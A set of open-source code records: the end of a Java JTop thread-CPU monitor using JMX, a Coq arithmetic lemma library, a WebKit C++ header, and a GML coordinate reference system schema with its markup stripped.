mbs;\n try {\n this.tmbean = newPlatformMXBeanProxy(server,\n THREAD_MXBEAN_NAME,\n ThreadMXBean.class);\n } catch (IOException e) {\n e.printStackTrace();\n }\n if (!tmbean.isThreadCpuTimeSupported()) {\n statusBar.setMessage(\"Monitored VM does not support thread CPU time measurement\");\n } else {\n try {\n tmbean.setThreadCpuTimeEnabled(true);\n } catch (SecurityException e) {\n statusBar.setMessage(\"Monitored VM does not have permission for enabling thread cpu time measurement\");\n }\n }\n }\n\n class MyTableModel extends AbstractTableModel {\n private static final long serialVersionUID = -7877310288576779514L;\n private String[] columnNames = {\"ThreadName\",\n \"CPU(sec)\",\n \"State\"};\n // List of all threads. The key of each entry is the CPU time\n // and its value is the ThreadInfo object with no stack trace.\n private List> threadList =\n Collections.emptyList();\n\n public MyTableModel() {\n }\n\n @Override\n public int getColumnCount() {\n return columnNames.length;\n }\n\n @Override\n public int getRowCount() {\n return threadList.size();\n }\n\n @Override\n public String getColumnName(int col) {\n return columnNames[col];\n }\n\n @Override\n public Object getValueAt(int row, int col) {\n Map.Entry me = threadList.get(row);\n switch (col) {\n case 0 :\n // Column 0 shows the thread name\n return me.getValue().getThreadName();\n case 1 :\n // Column 1 shows the CPU usage\n long ns = me.getKey().longValue();\n double sec = ns / 1000000000;\n return new Double(sec);\n case 2 :\n // Column 2 shows the thread state\n return me.getValue().getThreadState();\n default:\n return null;\n }\n }\n\n @Override\n public Class getColumnClass(int c) {\n return getValueAt(0, c).getClass();\n }\n\n void setThreadList(List> list) {\n threadList = list;\n }\n }\n\n /**\n * Get the thread list with CPU consumption and the ThreadInfo\n * for each thread sorted by the CPU time.\n */\n private List> getThreadList() {\n // Get all threads and their ThreadInfo objects\n // with no stack trace\n long[] tids = tmbean.getAllThreadIds();\n ThreadInfo[] tinfos = tmbean.getThreadInfo(tids);\n\n // build a map with key = CPU time and value = ThreadInfo\n SortedMap map = new TreeMap();\n for (int i = 0; i < tids.length; i++) {\n long cpuTime = tmbean.getThreadCpuTime(tids[i]);\n // filter out threads that have been terminated\n if (cpuTime != -1 && tinfos[i] != null) {\n map.put(new Long(cpuTime), tinfos[i]);\n }\n }\n\n // build the thread list and sort it with CPU time\n // in decreasing order\n Set> set = map.entrySet();\n List> list =\n new ArrayList>(set);\n Collections.reverse(list);\n return list;\n }\n\n\n /**\n * Format Double with 4 fraction digits\n */\n class DoubleRenderer extends DefaultTableCellRenderer {\n private static final long serialVersionUID = 1704639497162584382L;\n NumberFormat formatter;\n public DoubleRenderer() {\n super();\n setHorizontalAlignment(JLabel.RIGHT);\n }\n\n @Override\n public void setValue(Object value) {\n if (formatter==null) {\n formatter = NumberFormat.getInstance();\n formatter.setMinimumFractionDigits(4);\n }\n setText((value == null) ? \"\" : formatter.format(value));\n }\n }\n\n // SwingWorker responsible for updating the GUI\n //\n // It first gets the thread and CPU usage information as a\n // background task done by a worker thread so that\n // it will not block the event dispatcher thread.\n //\n // When the worker thread finishes, the event dispatcher\n // thread will invoke the done() method which will update\n // the UI.\n class Worker extends SwingWorker>,Object> {\n private MyTableModel tmodel;\n Worker(MyTableModel tmodel) {\n this.tmodel = tmodel;\n }\n\n // Get the current thread info and CPU time\n @Override\n public List> doInBackground() {\n return getThreadList();\n }\n\n // fire table data changed to trigger GUI update\n // when doInBackground() is finished\n @Override\n protected void done() {\n try {\n // Set table model with the new thread list\n tmodel.setThreadList(get());\n // refresh the table model\n tmodel.fireTableDataChanged();\n } catch (InterruptedException e) {\n } catch (ExecutionException e) {\n }\n }\n }\n\n // Return a new SwingWorker for UI update\n public SwingWorker newSwingWorker() {\n return new Worker(tmodel);\n }\n\n public static void main(String[] args) throws Exception {\n // Validate the input arguments\n if (args.length != 1) {\n usage();\n }\n\n String[] arg2 = args[0].split(\":\");\n if (arg2.length != 2) {\n usage();\n }\n String hostname = arg2[0];\n int port = -1;\n try {\n port = Integer.parseInt(arg2[1]);\n } catch (NumberFormatException x) {\n usage();\n }\n if (port < 0) {\n usage();\n }\n\n // Create the JTop Panel\n final JTop jtop = new JTop();\n // Set up the MBeanServerConnection to the target VM\n MBeanServerConnection server = connect(hostname, port);\n jtop.setMBeanServerConnection(server);\n\n // A timer task to update GUI per each interval\n TimerTask timerTask = new TimerTask() {\n @Override\n public void run() {\n // Schedule the SwingWorker to update the GUI\n jtop.newSwingWorker().execute();\n }\n };\n\n // Create the standalone window with JTop panel\n // by the event dispatcher thread\n SwingUtilities.invokeAndWait(new Runnable() {\n @Override\n public void run() {\n createAndShowGUI(jtop);\n }\n });\n\n // refresh every 2 seconds\n Timer timer = new Timer(\"JTop Sampling thread\");\n timer.schedule(timerTask, 0, 2000);\n\n }\n\n // Establish a connection with the remote application\n //\n // You can modify the urlPath to the address of the JMX agent\n // of your application if it has a different URL.\n //\n // You can also modify the following code to take\n // username and password for client authentication.\n private static MBeanServerConnection connect(String hostname, int port) {\n // Create an RMI connector client and connect it to\n // the RMI connector server\n String urlPath = \"/jndi/rmi://\" + hostname + \":\" + port + \"/jmxrmi\";\n MBeanServerConnection server = null;\n try {\n JMXServiceURL url = new JMXServiceURL(\"rmi\", \"\", 0, urlPath);\n JMXConnector jmxc = JMXConnectorFactory.connect(url);\n server = jmxc.getMBeanServerConnection();\n } catch (MalformedURLException e) {\n // should not reach here\n } catch (IOException e) {\n System.err.println(\"\\nCommunication error: \" + e.getMessage());\n System.exit(1);\n }\n return server;\n }\n\n private static void usage() {\n System.out.println(\"Usage: java JTop :\");\n System.exit(1);\n }\n /**\n * Create the GUI and show it. For thread safety,\n * this method should be invoked from the\n * event-dispatching thread.\n */\n private static void createAndShowGUI(JPanel jtop) {\n // Create and set up the window.\n JFrame frame = new JFrame(\"JTop\");\n frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);\n\n // Create and set up the content pane.\n JComponent contentPane = (JComponent) frame.getContentPane();\n contentPane.add(jtop, BorderLayout.CENTER);\n contentPane.setOpaque(true); //content panes must be opaque\n contentPane.setBorder(new EmptyBorder(12, 12, 12, 12));\n frame.setContentPane(contentPane);\n\n // Display the window.\n frame.pack();\n frame.setVisible(true);\n }\n\n}\n"} +{"text": "Require Import Coq.Arith.Div2.\nRequire Import Coq.micromega.Lia.\nRequire Import Coq.NArith.NArith.\nRequire Import Coq.ZArith.ZArith.\nRequire Import bbv.N_Z_nat_conversions.\nRequire Export bbv.Nomega.\n\nSet Implicit Arguments.\n\nFixpoint mod2 (n : nat) : bool :=\n match n with\n | 0 => false\n | 1 => true\n | S (S n') => mod2 n'\n end.\n\nLtac rethink :=\n match goal with\n | [ H : ?f ?n = _ |- ?f ?m = _ ] => replace m with n; simpl; auto\n end.\n\nTheorem mod2_S_double : forall n, mod2 (S (2 * n)) = true.\n induction n; simpl; intuition; rethink.\nQed.\n\nTheorem mod2_double : forall n, mod2 (2 * n) = false.\n induction n; simpl; intuition; rewrite <- plus_n_Sm; rethink.\nQed.\n\nTheorem div2_double : forall n, div2 (2 * n) = n.\n induction n; simpl; intuition; rewrite <- plus_n_Sm; f_equal; rethink.\nQed.\n\nTheorem div2_S_double : forall n, div2 (S (2 * n)) = n.\n induction n; simpl; intuition; f_equal; rethink.\nQed.\n\nNotation pow2 := (Nat.pow 2).\n\nFixpoint Npow2 (n : nat) : N :=\n match n with\n | O => 1\n | S n' => 2 * Npow2 n'\n end%N.\n\nTheorem untimes2 : forall n, n + (n + 0) = 2 * n.\n auto.\nQed.\n\nSection strong.\n Variable P : nat -> Prop.\n\n Hypothesis PH : forall n, (forall m, m < n -> P m) -> P n.\n\n Lemma strong' : forall n m, m <= n -> P m.\n induction n; simpl; intuition; apply PH; intuition.\n elimtype False; omega.\n Qed.\n\n Theorem strong : forall n, P n.\n intros; eapply strong'; eauto.\n Qed.\nEnd strong.\n\nTheorem div2_odd : forall n,\n mod2 n = true\n -> n = S (2 * div2 n).\n induction n as [n] using strong; simpl; intuition.\n\n destruct n as [|n]; simpl in *; intuition.\n discriminate.\n destruct n as [|n]; simpl in *; intuition.\n do 2 f_equal.\n replace (div2 n + S (div2 n + 0)) with (S (div2 n + (div2 n + 0))); auto.\nQed.\n\nTheorem div2_even : forall n,\n mod2 n = false\n -> n = 2 * div2 n.\n induction n as [n] using strong; simpl; intuition.\n\n destruct n as [|n]; simpl in *; intuition.\n destruct n as [|n]; simpl in *; intuition.\n discriminate.\n f_equal.\n replace (div2 n + S (div2 n + 0)) with (S (div2 n + (div2 n + 0))); auto.\nQed.\n\nTheorem drop_mod2 : forall n k,\n 2 * k <= n\n -> mod2 (n - 2 * k) = mod2 n.\n induction n as [n] using strong; intros.\n\n do 2 (destruct n; simpl in *; repeat rewrite untimes2 in *; intuition).\n\n destruct k; simpl in *; intuition.\n\n destruct k; simpl; intuition.\n rewrite <- plus_n_Sm.\n repeat rewrite untimes2 in *.\n simpl; auto.\n apply H; omega.\nQed.\n\nTheorem div2_minus_2 : forall n k,\n 2 * k <= n\n -> div2 (n - 2 * k) = div2 n - k.\n induction n as [n] using strong; intros.\n\n do 2 (destruct n; simpl in *; intuition; repeat rewrite untimes2 in *).\n destruct k; simpl in *; intuition.\n\n destruct k; simpl in *; intuition.\n rewrite <- plus_n_Sm.\n apply H; omega.\nQed.\n\nTheorem div2_bound : forall k n,\n 2 * k <= n\n -> k <= div2 n.\n intros ? n H; case_eq (mod2 n); intro Heq.\n\n rewrite (div2_odd _ Heq) in H.\n omega.\n\n rewrite (div2_even _ Heq) in H.\n omega.\nQed.\n\nLemma two_times_div2_bound: forall n, 2 * Nat.div2 n <= n.\nProof.\n eapply strong. intros n IH.\n destruct n.\n - constructor.\n - destruct n.\n + simpl. constructor. constructor.\n + simpl (Nat.div2 (S (S n))).\n specialize (IH n). omega.\nQed.\n\nLemma div2_compat_lt_l: forall a b, b < 2 * a -> Nat.div2 b < a.\nProof.\n induction a; intros.\n - omega.\n - destruct b.\n + simpl. omega.\n + destruct b.\n * simpl. omega.\n * simpl. apply lt_n_S. apply IHa. omega.\nQed.\n\n(* otherwise b is made implicit, while a isn't, which is weird *)\nArguments div2_compat_lt_l {_} {_} _.\n\nLemma pow2_add_mul: forall a b,\n pow2 (a + b) = (pow2 a) * (pow2 b).\nProof.\n induction a; destruct b; firstorder; simpl.\n repeat rewrite Nat.add_0_r.\n rewrite Nat.mul_1_r; auto.\n repeat rewrite Nat.add_0_r.\n rewrite IHa.\n simpl.\n repeat rewrite Nat.add_0_r.\n rewrite Nat.mul_add_distr_r; auto.\nQed.\n\nLemma mult_pow2_bound: forall a b x y,\n x < pow2 a -> y < pow2 b -> x * y < pow2 (a + b).\nProof.\n intros.\n rewrite pow2_add_mul.\n apply Nat.mul_lt_mono_nonneg; omega.\nQed.\n\nLemma mult_pow2_bound_ex: forall a c x y,\n x < pow2 a -> y < pow2 (c - a) -> c >= a -> x * y < pow2 c.\nProof.\n intros.\n replace c with (a + (c - a)) by omega.\n apply mult_pow2_bound; auto.\nQed.\n\nLemma lt_mul_mono' : forall c a b,\n a < b -> a < b * (S c).\nProof.\n induction c; intros.\n rewrite Nat.mul_1_r; auto.\n rewrite Nat.mul_succ_r.\n apply lt_plus_trans.\n apply IHc; auto.\nQed.\n\nLemma lt_mul_mono : forall a b c,\n c <> 0 -> a < b -> a < b * c.\nProof.\n intros.\n replace c with (S (c - 1)) by omega.\n apply lt_mul_mono'; auto.\nQed.\n\nLemma zero_lt_pow2 : forall sz, 0 < pow2 sz.\nProof.\n induction sz; simpl; omega.\nQed.\n\nLemma one_lt_pow2:\n forall n,\n 1 < pow2 (S n).\nProof.\n intros.\n induction n.\n simpl; omega.\n remember (S n); simpl.\n omega.\nQed.\n\nLemma one_le_pow2 : forall sz, 1 <= pow2 sz.\nProof.\n intros. pose proof (zero_lt_pow2 sz). omega.\nQed.\n\nLemma pow2_ne_zero: forall n, pow2 n <> 0.\nProof.\n intros.\n pose proof (zero_lt_pow2 n).\n omega.\nQed.\n\nLemma mul2_add : forall n, n * 2 = n + n.\nProof.\n induction n; firstorder.\nQed.\n\nLemma pow2_le_S : forall sz, (pow2 sz) + 1 <= pow2 (sz + 1).\nProof.\n induction sz; simpl; auto.\n repeat rewrite Nat.add_0_r.\n rewrite pow2_add_mul.\n repeat rewrite mul2_add.\n pose proof (zero_lt_pow2 sz).\n omega.\nQed.\n\nLemma pow2_bound_mono: forall a b x,\n x < pow2 a -> a <= b -> x < pow2 b.\nProof.\n intros.\n replace b with (a + (b - a)) by omega.\n rewrite pow2_add_mul.\n apply lt_mul_mono; auto.\n pose proof (zero_lt_pow2 (b - a)).\n omega.\nQed.\n\nLemma pow2_inc : forall n m,\n 0 < n -> n < m ->\n pow2 n < pow2 m.\nProof.\n intros.\n generalize dependent n; intros.\n induction m; simpl.\n intros. inversion H0.\n unfold lt in H0.\n rewrite Nat.add_0_r.\n inversion H0.\n apply Nat.lt_add_pos_r.\n apply zero_lt_pow2.\n apply Nat.lt_trans with (pow2 m).\n apply IHm.\n exact H2.\n apply Nat.lt_add_pos_r.\n apply zero_lt_pow2.\nQed.\n\nLemma pow2_S: forall x, pow2 (S x) = 2 * pow2 x.\nProof. intros. reflexivity. Qed.\n\nLemma mod2_S_S : forall n,\n mod2 (S (S n)) = mod2 n.\nProof.\n intros.\n destruct n; auto; destruct n; auto.\nQed.\n\nLemma mod2_S_not : forall n,\n mod2 (S n) = if (mod2 n) then false else true.\nProof.\n intros.\n induction n; auto.\n rewrite mod2_S_S.\n destruct (mod2 n); replace (mod2 (S n)); auto.\nQed.\n\nLemma mod2_S_eq : forall n k,\n mod2 n = mod2 k ->\n mod2 (S n) = mod2 (S k).\nProof.\n intros.\n do 2 rewrite mod2_S_not.\n rewrite H.\n auto.\nQed.\n\nTheorem drop_mod2_add : forall n k,\n mod2 (n + 2 * k) = mod2 n.\nProof.\n intros.\n induction n.\n simpl.\n rewrite Nat.add_0_r.\n replace (k + k) with (2 * k) by omega.\n apply mod2_double.\n replace (S n + 2 * k) with (S (n + 2 * k)) by omega.\n apply mod2_S_eq; auto.\nQed.\n\nLemma mod2sub: forall a b,\n b <= a ->\n mod2 (a - b) = xorb (mod2 a) (mod2 b).\nProof.\n intros. remember (a - b) as c. revert dependent b. revert a. revert c.\n change (forall c,\n (fun c => forall a b, b <= a -> c = a - b -> mod2 c = xorb (mod2 a) (mod2 b)) c).\n apply strong.\n intros c IH a b AB N.\n destruct c.\n - assert (a=b) by omega. subst. rewrite Bool.xorb_nilpotent. reflexivity.\n - destruct c.\n + assert (a = S b) by omega. subst a. simpl (mod2 1). rewrite mod2_S_not.\n destruct (mod2 b); reflexivity.\n + destruct a; [omega|].\n destruct a; [omega|].\n simpl.\n apply IH; omega.\nQed.\n\nTheorem mod2_pow2_twice: forall n,\n mod2 (pow2 n + (pow2 n + 0)) = false.\nProof.\n intros.\n replace (pow2 n + (pow2 n + 0)) with (2 * pow2 n) by omega.\n apply mod2_double.\nQed.\n\nTheorem div2_plus_2 : forall n k,\n div2 (n + 2 * k) = div2 n + k.\nProof.\n induction n; intros.\n simpl.\n rewrite Nat.add_0_r.\n replace (k + k) with (2 * k) by omega.\n apply div2_double.\n replace (S n + 2 * k) with (S (n + 2 * k)) by omega.\n destruct (Even.even_or_odd n).\n - rewrite <- even_div2.\n rewrite <- even_div2 by auto.\n apply IHn.\n apply Even.even_even_plus; auto.\n apply Even.even_mult_l; repeat constructor.\n\n - rewrite <- odd_div2.\n rewrite <- odd_div2 by auto.\n rewrite IHn.\n omega.\n apply Even.odd_plus_l; auto.\n apply Even.even_mult_l; repeat constructor.\nQed.\n\nLemma pred_add:\n forall n, n <> 0 -> pred n + 1 = n.\nProof.\n intros; rewrite pred_of_minus; omega.\nQed.\n\nLemma pow2_zero: forall sz, (pow2 sz > 0)%nat.\nProof.\n induction sz; simpl; auto; omega.\nQed.\n\nSection omega_compat.\n\nLtac omega ::= lia.\n\nTheorem Npow2_nat : forall n, nat_of_N (Npow2 n) = pow2 n.\n induction n as [|n IHn]; simpl; intuition.\n rewrite <- IHn; clear IHn.\n case_eq (Npow2 n); intuition.\nQed.\n\nEnd omega_compat.\n\nTheorem pow2_N : forall n, Npow2 n = N.of_nat (pow2 n).\nProof.\n intro n. apply nat_of_N_eq. rewrite Nat2N.id. apply Npow2_nat.\nQed.\n\nLemma Z_of_N_Npow2: forall n, Z.of_N (Npow2 n) = (2 ^ Z.of_nat n)%Z.\nProof.\n intros.\n rewrite pow2_N.\n rewrite nat_N_Z.\n rewrite Nat2Z.inj_pow.\n reflexivity.\nQed.\n\nLemma pow2_S_z:\n forall n, Z.of_nat (pow2 (S n)) = (2 * Z.of_nat (pow2 n))%Z.\nProof.\n intros.\n replace (2 * Z.of_nat (pow2 n))%Z with\n (Z.of_nat (pow2 n) + Z.of_nat (pow2 n))%Z by omega.\n simpl.\n repeat rewrite Nat2Z.inj_add.\n ring.\nQed.\n\nLemma pow2_le:\n forall n m, (n <= m)%nat -> (pow2 n <= pow2 m)%nat.\nProof.\n intros.\n assert (exists s, n + s = m) by (exists (m - n); omega).\n destruct H0; subst.\n rewrite pow2_add_mul.\n pose proof (pow2_zero x).\n replace (pow2 n) with (pow2 n * 1) at 1 by omega.\n apply mult_le_compat_l.\n omega.\nQed.\n\nLemma Zabs_of_nat:\n forall n, Z.abs (Z.of_nat n) = Z.of_nat n.\nProof.\n unfold Z.of_nat; intros.\n destruct n; auto.\nQed.\n\nLemma Npow2_not_zero:\n forall n, Npow2 n <> 0%N.\nProof.\n induction n; simpl; intros; [discriminate|].\n destruct (Npow2 n); auto.\n discriminate.\nQed.\n\nLemma Npow2_S:\n forall n, Npow2 (S n) = (Npow2 n + Npow2 n)%N.\nProof.\n simpl; intros.\n destruct (Npow2 n); auto.\n rewrite <-Pos.add_diag.\n reflexivity.\nQed.\n\nLemma Npow2_pos: forall a,\n (0 < Npow2 a)%N.\nProof.\n intros.\n destruct (Npow2 a) eqn: E.\n - exfalso. apply (Npow2_not_zero a). assumption.\n - constructor.\nQed.\n\nLemma minus_minus: forall a b c,\n c <= b <= a ->\n a - (b - c) = a - b + c.\nProof. intros. omega. Qed.\n\nLemma even_odd_destruct: forall n,\n (exists a, n = 2 * a) \\/ (exists a, n = 2 * a + 1).\nProof.\n induction n.\n - left. exists 0. reflexivity.\n - destruct IHn as [[a E] | [a E]].\n + right. exists a. omega.\n + left. exists (S a). omega.\nQed.\n\nLemma mul_div_undo: forall i c,\n c <> 0 ->\n c * i / c = i.\nProof.\n intros.\n pose proof (Nat.div_mul_cancel_l i 1 c) as P.\n rewrite Nat.div_1_r in P.\n rewrite Nat.mul_1_r in P.\n apply P; auto.\nQed.\n\nLemma mod_add_r: forall a b,\n b <> 0 ->\n (a + b) mod b = a mod b.\nProof.\n intros. rewrite <- Nat.add_mod_idemp_r by omega.\n rewrite Nat.mod_same by omega.\n rewrite Nat.add_0_r.\n reflexivity.\nQed.\n\nLemma mod2_cases: forall (n: nat), n mod 2 = 0 \\/ n mod 2 = 1.\nProof.\n intros.\n assert (n mod 2 < 2). {\n apply Nat.mod_upper_bound. congruence.\n }\n omega.\nQed.\n\nLemma div_mul_undo: forall a b,\n b <> 0 ->\n a mod b = 0 ->\n a / b * b = a.\nProof.\n intros.\n pose proof Nat.div_mul_cancel_l as A. specialize (A a 1 b).\n replace (b * 1) with b in A by omega.\n rewrite Nat.div_1_r in A.\n rewrite mult_comm.\n rewrite <- Nat.divide_div_mul_exact; try assumption.\n - apply A; congruence.\n - apply Nat.mod_divide; assumption.\nQed.\n\nLemma Smod2_1: forall k, S k mod 2 = 1 -> k mod 2 = 0.\nProof.\n intros k C.\n change (S k) with (1 + k) in C.\n rewrite Nat.add_mod in C by congruence.\n pose proof (Nat.mod_upper_bound k 2).\n assert (k mod 2 = 0 \\/ k mod 2 = 1) as E by omega.\n destruct E as [E | E]; [assumption|].\n rewrite E in C. simpl in C. discriminate.\nQed.\n\nLemma mod_0_r: forall (m: nat),\n m mod 0 = 0.\nProof.\n intros. reflexivity.\nQed.\n\nLemma sub_mod_0: forall (a b m: nat),\n a mod m = 0 ->\n b mod m = 0 ->\n (a - b) mod m = 0.\nProof.\n intros. assert (m = 0 \\/ m <> 0) as C by omega. destruct C as [C | C].\n - subst. apply mod_0_r.\n - assert (a - b = 0 \\/ b < a) as D by omega. destruct D as [D | D].\n + rewrite D. apply Nat.mod_0_l. assumption.\n + apply Nat2Z.inj. simpl.\n rewrite Zdiv.mod_Zmod by assumption.\n rewrite Nat2Z.inj_sub by omega.\n rewrite Zdiv.Zminus_mod.\n rewrite <-! Zdiv.mod_Zmod by assumption.\n rewrite H. rewrite H0.\n apply Z.mod_0_l.\n omega.\nQed.\n\nLemma mul_div_exact: forall (a b: nat),\n b <> 0 ->\n a mod b = 0 ->\n b * (a / b) = a.\nProof.\n intros. edestruct Nat.div_exact as [_ P]; [eassumption|].\n specialize (P H0). symmetry. exact P.\nQed.\n"} +{"text": "/*\r\n * Copyright (C) 2011 Google Inc. All rights reserved.\r\n *\r\n * Redistribution and use in source and binary forms, with or without\r\n * modification, are permitted provided that the following conditions are\r\n * met:\r\n *\r\n * * Redistributions of source code must retain the above copyright\r\n * notice, this list of conditions and the following disclaimer.\r\n * * Redistributions in binary form must reproduce the above\r\n * copyright notice, this list of conditions and the following disclaimer\r\n * in the documentation and/or other materials provided with the\r\n * distribution.\r\n * * Neither the name of Google Inc. nor the names of its\r\n * contributors may be used to endorse or promote products derived from\r\n * this software without specific prior written permission.\r\n *\r\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\r\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\r\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\r\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\r\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\r\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\r\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\r\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\r\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\r\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\r\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n *\r\n */\r\n#ifndef LinkLoaderClient_h\r\n#define LinkLoaderClient_h\r\n\r\nnamespace WebCore {\r\n\r\nclass LinkLoaderClient {\r\npublic:\r\n virtual ~LinkLoaderClient() { }\r\n\r\n virtual bool shouldLoadLink() = 0;\r\n\r\n virtual void linkLoaded() = 0;\r\n virtual void linkLoadingErrored() = 0;\r\n // There is no notification for cancellation.\r\n};\r\n\r\n}\r\n\r\n#endif\r\n"} +{"text": "\n\n\t\n\t\t\n\t\tHow to encode coordinate reference system definitions. Builds on referenceSystems.xsd to encode the data needed to define coordinate reference systems, including the specific subtypes of coordinate reference systems. \n\t\tThis schema encodes the Coordinate Reference System (SC_) package of the extended UML Model for OGC Abstract Specification Topic 2: Spatial Referencing by Coordinates, with the exception of the abstract \"SC_CRS\" class. The \"SC_CRS\" class is encoded in referenceSystems.xsd, to eliminate the (circular) references from coordinateOperations.xsd to coordinateReferenceSystems.xsd. That UML model is adapted from ISO 19111 - Spatial referencing by coordinates, as described in Annex C of Topic 2. \n\t\tCaution: The CRS package in GML 3.1 and GML 3.1.1 is preliminary, and is expected to undergo some modifications that are not backward compatible during the development of GML 3.2 (ISO 19136). The GML 3.2 package will implement the model described in the revised version of ISO 19111. \n\t\t\n\t\tGML is an OGC Standard.\n\t\tCopyright (c) 2001,2005,2010 Open Geospatial Consortium.\n\t\tTo obtain additional rights of use, visit http://www.opengeospatial.org/legal/ .\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tA coordinate reference system consists of an ordered sequence of coordinate system axes that are related to the earth through a datum. A coordinate reference system is defined by one datum and by one coordinate system. Most coordinate reference system do not move relative to the earth, except for engineering coordinate reference systems defined on moving platforms such as cars, ships, aircraft, and spacecraft. For further information, see OGC Abstract Specification Topic 2.\n\nCoordinate reference systems are commonly divided into sub-types. The common classification criterion for sub-typing of coordinate reference systems is the way in which they deal with earth curvature. This has a direct effect on the portion of the earth's surface that can be covered by that type of CRS with an acceptable degree of error. The exception to the rule is the subtype \"Temporal\" which has been added by analogy. \n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to a coordinate reference system, either referencing or containing the definition of that reference system. \n\t\t\n\t\t\n\t\t\t\n\t\t\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tA coordinate reference system describing the position of points through two or more independent coordinate reference systems. \n\t\t\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\tOrdered sequence of associations to all the component coordinate reference systems included in this compound coordinate reference system. \n\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\n\t\n\t\n\t\t\n\t\t\tAn association to a component coordinate reference system included in this compound coordinate reference system. \n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to a compound coordinate reference system, either referencing or containing the definition of that reference system. \n\t\t\n\t\t\n\t\t\t\n\t\t\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tA coordinate reference system based on an ellipsoidal approximation of the geoid; this provides an accurate representation of the geometry of geographic features for a large portion of the earth's surface.\n\t\t\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to the ellipsoidal coordinate system used by this CRS. \n\t\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to the geodetic datum used by this CRS. \n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to a geographic coordinate reference system, either referencing or containing the definition of that reference system. \n\t\t\n\t\t\n\t\t\t\n\t\t\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tA 1D coordinate reference system used for recording heights or depths. Vertical CRSs make use of the direction of gravity to define the concept of height or depth, but the relationship with gravity may not be straightforward. By implication, ellipsoidal heights (h) cannot be captured in a vertical coordinate reference system. Ellipsoidal heights cannot exist independently, but only as an inseparable part of a 3D coordinate tuple defined in a geographic 3D coordinate reference system. \n\t\t\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to the vertical coordinate system used by this CRS. \n\t\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to the vertical datum used by this CRS. \n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to a vertical coordinate reference system, either referencing or containing the definition of that reference system. \n\t\t\n\t\t\n\t\t\t\n\t\t\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tA 3D coordinate reference system with the origin at the approximate centre of mass of the earth. A geocentric CRS deals with the earth's curvature by taking a 3D spatial view, which obviates the need to model the earth's curvature. \n\t\t\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to the Cartesian coordinate system used by this CRS. \n\t\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to the spherical coordinate system used by this CRS.\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to a geocentric coordinate reference system, either referencing or containing the definition of that reference system. \n\t\t\n\t\t\n\t\t\t\n\t\t\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tA coordinate reference system that is defined by its coordinate conversion from another coordinate reference system (not by a datum). This abstract complexType shall not be used, extended, or restricted, in an Application Schema, to define a concrete subtype with a meaning equivalent to a concrete subtype specified in this document. \n\t\t\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to the coordinate reference system used by this derived CRS. \n\t\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to the coordinate conversion used to define this derived CRS. \n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tA 2D coordinate reference system used to approximate the shape of the earth on a planar surface, but in such a way that the distortion that is inherent to the approximation is carefully controlled and known. Distortion correction is commonly applied to calculated bearings and distances to produce values that are a close match to actual field values. \n\t\t\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to a projected coordinate reference system, either referencing or containing the definition of that reference system. \n\t\t\n\t\t\n\t\t\t\n\t\t\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tA coordinate reference system that is defined by its coordinate conversion from another coordinate reference system but is not a projected coordinate reference system. This category includes coordinate reference systems derived from a projected coordinate reference system. 